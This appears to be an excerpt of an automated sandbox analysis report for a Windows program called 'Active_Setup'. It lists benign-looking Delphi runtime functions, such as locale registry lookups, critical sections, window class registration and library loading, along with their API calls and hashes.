Associated: 00000000.00000002.3687407971.0000000000C6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687424460.0000000000C70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687440430.0000000000C73000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687455817.0000000000C76000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687471927.0000000000C77000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C78000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C7D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687528425.0000000000C82000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687543043.0000000000C84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687557688.0000000000C85000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000C87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000D01000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Active_Setup.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 1a053d137ef4a4126af9519d638b29f9f9fe0167d514e3ebb4e36bdeeed54d98
Instruction ID: 92fb73183fbf12800089ee33eb669efd397dc708cac02f4a7125f173ee9f5eda
Opcode Fuzzy Hash: 1a053d137ef4a4126af9519d638b29f9f9fe0167d514e3ebb4e36bdeeed54d98
Instruction Fuzzy Hash: 86F09071900608BF8B50EA64DC52F5EB7ECDB887147610975B400E2192E6305A009512

Function 009CF4F8 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 178
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000105,00000000,009CF720,?,?,?), ref: 009CF537
RegOpenKeyExW.ADVAPI32(80000001,Software\Embarcadero\Locales,00000000,00020019,?,00000000,009CF720,?,?,?), ref: 009CF580
RegOpenKeyExW.ADVAPI32(80000002,Software\Embarcadero\Locales,00000000,00020019,?,80000001,Software\Embarcadero\Locales,00000000,00020019,?,00000000,009CF720,?,?,?), ref: 009CF5A2
RegOpenKeyExW.ADVAPI32(80000001,Software\CodeGear\Locales,00000000,00020019,?,80000002,Software\Embarcadero\Locales,00000000,00020019,?,80000001,Software\Embarcadero\Locales,00000000,00020019,?,00000000), ref: 009CF5C0
RegOpenKeyExW.ADVAPI32(80000002,Software\CodeGear\Locales,00000000,00020019,?,80000001,Software\CodeGear\Locales,00000000,00020019,?,80000002,Software\Embarcadero\Locales,00000000,00020019,?,80000001), ref: 009CF5DE
RegOpenKeyExW.ADVAPI32(80000001,Software\Borland\Locales,00000000,00020019,?,80000002,Software\CodeGear\Locales,00000000,00020019,?,80000001,Software\CodeGear\Locales,00000000,00020019,?,80000002), ref: 009CF5FC
RegOpenKeyExW.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,00020019,?,80000001,Software\Borland\Locales,00000000,00020019,?,80000002,Software\CodeGear\Locales,00000000,00020019,?,80000001), ref: 009CF61A
RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,00000000,?,00000000,009CF6FC,?,80000001,Software\Embarcadero\Locales,00000000,00020019,?,00000000,009CF720), ref: 009CF654
RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,?,00000000,00000000,00000000,00000000,?,00000000,009CF6FC,?,80000001), ref: 009CF679
RegCloseKey.ADVAPI32(?,009CF703,00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,00000000,009CF6FC,?,80000001,Software\Embarcadero\Locales), ref: 009CF6F4

Strings

Software\Embarcadero\Locales, xrefs: 009CF576, 009CF598
Software\Borland\Delphi\Locales, xrefs: 009CF610
Software\Borland\Locales, xrefs: 009CF5F2
Software\CodeGear\Locales, xrefs: 009CF5B6, 009CF5D4

Memory Dump Source

Source File: 00000000.00000002.3687244377.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.3687227289.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687391728.0000000000C6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687407971.0000000000C6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687424460.0000000000C70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687440430.0000000000C73000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687455817.0000000000C76000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687471927.0000000000C77000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C78000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C7D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687528425.0000000000C82000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687543043.0000000000C84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687557688.0000000000C85000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000C87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000D01000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Active_Setup.jbxd

Similarity

API ID: Open$QueryValue$CloseFileModuleName
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales$Software\CodeGear\Locales$Software\Embarcadero\Locales
API String ID: 2701450724-3496071916
Opcode ID: 1d4315ddfde7be837612952ec22c7c119c214e4fca819c2caa93061ecc7c4488
Instruction ID: 201d82c3778125023c5b8bcb93bd061e52d8b691a8eba3e6fbecc5732c3ecdfe
Opcode Fuzzy Hash: 1d4315ddfde7be837612952ec22c7c119c214e4fca819c2caa93061ecc7c4488
Instruction Fuzzy Hash: 77514571E4030DBEEB10DBA4CD52FAEB3ADEB44744F21447DBA04F61C2D6B0A9408B66

Function 009CF1B0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 77
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32(00C7AC18,00000000,009CF2B6,?,?,?,00000000,?,009CFBBC,00000000,009CFC1D,?,?,00000000,00000000,00000000), ref: 009CF1CE
LeaveCriticalSection.KERNEL32(00C7AC18,00C7AC18,00000000,009CF2B6,?,?,?,00000000,?,009CFBBC,00000000,009CFC1D,?,?,00000000,00000000), ref: 009CF1F2
LeaveCriticalSection.KERNEL32(00C7AC18,00C7AC18,00000000,009CF2B6,?,?,?,00000000,?,009CFBBC,00000000,009CFC1D,?,?,00000000,00000000), ref: 009CF201
IsValidLocale.KERNEL32(00000000,00000002,00C7AC18,00C7AC18,00000000,009CF2B6,?,?,?,00000000,?,009CFBBC,00000000,009CFC1D), ref: 009CF213
EnterCriticalSection.KERNEL32(00C7AC18,00000000,00000002,00C7AC18,00C7AC18,00000000,009CF2B6,?,?,?,00000000,?,009CFBBC,00000000,009CFC1D), ref: 009CF270
LeaveCriticalSection.KERNEL32(00C7AC18,00C7AC18,00000000,00000002,00C7AC18,00C7AC18,00000000,009CF2B6,?,?,?,00000000,?,009CFBBC,00000000,009CFC1D), ref: 009CF299

Strings

en-GB,en,en-US,, xrefs: 009CF1DE, 009CF285

Memory Dump Source

Source File: 00000000.00000002.3687244377.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.3687227289.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687391728.0000000000C6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687407971.0000000000C6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687424460.0000000000C70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687440430.0000000000C73000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687455817.0000000000C76000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687471927.0000000000C77000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C78000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C7D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687528425.0000000000C82000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687543043.0000000000C84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687557688.0000000000C85000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000C87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000D01000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Active_Setup.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$LocaleValid
String ID: en-GB,en,en-US,
API String ID: 975949045-3021119265
Opcode ID: 279bd5a3a194bdbcdbd628960068f014b7a99a504933a0407b075f7421e3056a
Instruction ID: e48077cdf899f54055fc9df7bf558306b558f2721bf4c1116cbd05151c2fa88b
Opcode Fuzzy Hash: 279bd5a3a194bdbcdbd628960068f014b7a99a504933a0407b075f7421e3056a
Instruction Fuzzy Hash: B521E474F04B44A7EB12B7A88D23F1D31CAAFC4B40F51443DB415C7292DAA69D8183A3

Function 009D1D98 Relevance: 13.8, APIs: 9, Instructions: 258
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 009D1E50

Memory Dump Source

Source File: 00000000.00000002.3687244377.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.3687227289.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687391728.0000000000C6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687407971.0000000000C6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687424460.0000000000C70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687440430.0000000000C73000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687455817.0000000000C76000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687471927.0000000000C77000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C78000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C7D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687528425.0000000000C82000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687543043.0000000000C84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687557688.0000000000C85000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000C87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000D01000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Active_Setup.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 1a553c547d1eb2ce96f8ec4b0a9dcc82ca7dc1e15972df53bbe2184ea064e26d
Instruction ID: bd013abb83dea04976059780909c500ee7382a54bb3d6d86e16ff0ab5d96fa44
Opcode Fuzzy Hash: 1a553c547d1eb2ce96f8ec4b0a9dcc82ca7dc1e15972df53bbe2184ea064e26d
Instruction Fuzzy Hash: E1A16176A40209AFDB24DFA8D880BADB7B9FF98300F14C12BF515A7351DB709945CB50

Function 00A6F080 Relevance: 6.1, APIs: 4, Instructions: 59
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetClassInfoW.USER32(009C0000,00A6F064,?), ref: 00A6F0A1
UnregisterClassW.USER32(00A6F064,009C0000), ref: 00A6F0CA
RegisterClassW.USER32(00C71530), ref: 00A6F0D4
SetWindowLongW.USER32(00000000,000000FC,00000000), ref: 00A6F11F

Memory Dump Source

Source File: 00000000.00000002.3687244377.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.3687227289.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687391728.0000000000C6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687407971.0000000000C6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687424460.0000000000C70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687440430.0000000000C73000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687455817.0000000000C76000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687471927.0000000000C77000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C78000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C7D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687528425.0000000000C82000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687543043.0000000000C84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687557688.0000000000C85000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000C87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000D01000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Active_Setup.jbxd

Similarity

API ID: Class$InfoLongRegisterUnregisterWindow
String ID:
API String ID: 4025006896-0
Opcode ID: f11bb7ac2022fbc7a803298461f5a1f74802b53af1ced92857fe08e5cbcda671
Instruction ID: 795ae9bc896cf1f3da315f1e050bee1dd4ee9685c8ba1c3273e9e41983db9f71
Opcode Fuzzy Hash: f11bb7ac2022fbc7a803298461f5a1f74802b53af1ced92857fe08e5cbcda671
Instruction Fuzzy Hash: E30121B1244204AFCB54EBACEC81F9E77A9EB49304F148222FE09D7392E736DC458751

Function 009D61EC Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(00000000,TWindowDisabler-Window,?,00B7EF70,?,?,?,00000001,00000000,?,00BD69C7,00C7EC44), ref: 009D622B

Strings

TWindowDisabler-Window, xrefs: 009D6229

Memory Dump Source

Source File: 00000000.00000002.3687244377.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.3687227289.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687391728.0000000000C6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687407971.0000000000C6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687424460.0000000000C70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687440430.0000000000C73000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687455817.0000000000C76000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687471927.0000000000C77000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C78000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C7D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687528425.0000000000C82000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687543043.0000000000C84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687557688.0000000000C85000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000C87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000D01000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Active_Setup.jbxd

Similarity

API ID: CreateWindow
String ID: TWindowDisabler-Window
API String ID: 716092398-1824977358
Opcode ID: fc11b3656799b680867cea81f93e5425df7d79ac4586f1ef2475c925cf616fe8
Instruction ID: 73b750e5cd1204268e9d9e8b437d7f6c7988bc77433eb23b097b60e27a7a568c
Opcode Fuzzy Hash: fc11b3656799b680867cea81f93e5425df7d79ac4586f1ef2475c925cf616fe8
Instruction Fuzzy Hash: B6F092B2604118BF8B80DE9DDC81EDBB7ECEB8D2A0B054129FA0CD3301D630ED108BA0

Function 009CFB04 Relevance: 3.1, APIs: 2, Instructions: 94
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetUserDefaultUILanguage.KERNEL32(00000000,009CFC1D,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,009CFCA6,00000000,?,00000105), ref: 009CFBAF
GetSystemDefaultUILanguage.KERNEL32(00000000,009CFC1D,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,009CFCA6,00000000,?,00000105), ref: 009CFBD7

Memory Dump Source

Source File: 00000000.00000002.3687244377.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.3687227289.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687391728.0000000000C6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687407971.0000000000C6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687424460.0000000000C70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687440430.0000000000C73000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687455817.0000000000C76000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687471927.0000000000C77000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C78000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C7D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687528425.0000000000C82000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687543043.0000000000C84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687557688.0000000000C85000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000C87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000D01000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Active_Setup.jbxd

Similarity

API ID: DefaultLanguage$SystemUser
String ID:
API String ID: 384301227-0
Opcode ID: 0accc15ad6190267cc2bc6c9ef84cdbaa55b3fe2d3fda030989073effc7cedc2
Instruction ID: ce31203d2e258f15f4191c9e23fa4bac937b9ba349daca42ff23e9f02563ed6c
Opcode Fuzzy Hash: 0accc15ad6190267cc2bc6c9ef84cdbaa55b3fe2d3fda030989073effc7cedc2
Instruction Fuzzy Hash: D2313271E002099FDB14EB94C8A2FAEB7BAEF88314F51447DE40497251DB749D85CB93

Function 009CFC2C Relevance: 3.1, APIs: 2, Instructions: 56
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000105,00000000,009CFCE8,?,009C0000,00C6EC38), ref: 009CFC68
LoadLibraryExW.KERNEL32(00000000,00000000,00000002,00000000,?,00000105,00000000,009CFCE8,?,009C0000,00C6EC38), ref: 009CFCB9

Memory Dump Source

Source File: 00000000.00000002.3687244377.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.3687227289.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687391728.0000000000C6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687407971.0000000000C6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687424460.0000000000C70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687440430.0000000000C73000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687455817.0000000000C76000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687471927.0000000000C77000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C78000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C7D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687528425.0000000000C82000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687543043.0000000000C84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687557688.0000000000C85000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000C87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000D01000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Active_Setup.jbxd

Similarity

API ID: FileLibraryLoadModuleName
String ID:
API String ID: 1159719554-0
Opcode ID: faf3f7ace4584c2280e6b5a620c9f55d1d749718b1cdafb819740a6e919381af
Instruction ID: 70538bb612132f90757144b5229e23794f0337ba881bed6d03ea9a90d0487aa1
Opcode Fuzzy Hash: faf3f7ace4584c2280e6b5a620c9f55d1d749718b1cdafb819740a6e919381af
Instruction Fuzzy Hash: 6E118270E8021C9BDB14EB54D896FDE73B9DB84300F1104B9E508E3291DB705F808E56

Function 009EE108 Relevance: 3.0, APIs: 2, Instructions: 34
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNEL32(00008000,00000000), ref: 009EE112
LoadLibraryW.KERNEL32(00000000,00000000,009EE15E,?,00000000,009EE17E,?,00008000,00000000), ref: 009EE141

Memory Dump Source

Source File: 00000000.00000002.3687244377.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.3687227289.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687391728.0000000000C6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687407971.0000000000C6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687424460.0000000000C70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687440430.0000000000C73000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687455817.0000000000C76000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687471927.0000000000C77000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C78000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C7D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687528425.0000000000C82000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687543043.0000000000C84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687557688.0000000000C85000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000C87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000D01000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Active_Setup.jbxd

Similarity

API ID: ErrorLibraryLoadMode
String ID:
API String ID: 2987862817-0
Opcode ID: 6197a49c7f2d3908f776d52aa64f6b936bde90a4c734269c206b7c387582e145
Instruction ID: 9e38df18bcc8c4550b71ebd41e5b9db8859c753947fee587950c6d255a0599a4
Opcode Fuzzy Hash: 6197a49c7f2d3908f776d52aa64f6b936bde90a4c734269c206b7c387582e145
Instruction Fuzzy Hash: 16F08270A08B48BFD7025FB69C6282BBBEDE78DB107538C75F800D2751E6398C10CA20

Function 009EF770 Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LCMapStringW.KERNEL32(00002000,01000100,00000000,?,00000000,?), ref: 009EF7DC

Memory Dump Source

Source File: 00000000.00000002.3687244377.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.3687227289.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687391728.0000000000C6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687407971.0000000000C6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687424460.0000000000C70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687440430.0000000000C73000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687455817.0000000000C76000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687471927.0000000000C77000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C78000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C7D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687528425.0000000000C82000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687543043.0000000000C84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687557688.0000000000C85000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000C87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000D01000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Active_Setup.jbxd

Similarity

API ID: String
String ID:
API String ID: 2568140703-0
Opcode ID: f464f89bcd8ada94ee7d9a74bbd0964b14a9eabed05f240c4510f91b7cbc3515
Instruction ID: c1d16403ad6853ec84d66c2632e1bdc5843e4e51c56f5fdf0e0d0be408e3b8d6
Opcode Fuzzy Hash: f464f89bcd8ada94ee7d9a74bbd0964b14a9eabed05f240c4510f91b7cbc3515
Instruction Fuzzy Hash: C5014C366042109FE711EF29C8C1A1AB3E8EFC9720F15857EF88897315C731AC04CB52

Function 009CE96C Relevance: 1.5, APIs: 1, Instructions: 26
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(009C0000,?,00000105), ref: 009CE98A

Part of subcall function 009CFC2C: GetModuleFileNameW.KERNEL32(00000000,?,00000105,00000000,009CFCE8,?,009C0000,00C6EC38), ref: 009CFC68
Part of subcall function 009CFC2C: LoadLibraryExW.KERNEL32(00000000,00000000,00000002,00000000,?,00000105,00000000,009CFCE8,?,009C0000,00C6EC38), ref: 009CFCB9

Memory Dump Source

Source File: 00000000.00000002.3687244377.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.3687227289.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687391728.0000000000C6E000.00000004.00000001.01000000.00000003.sdmpDownload File
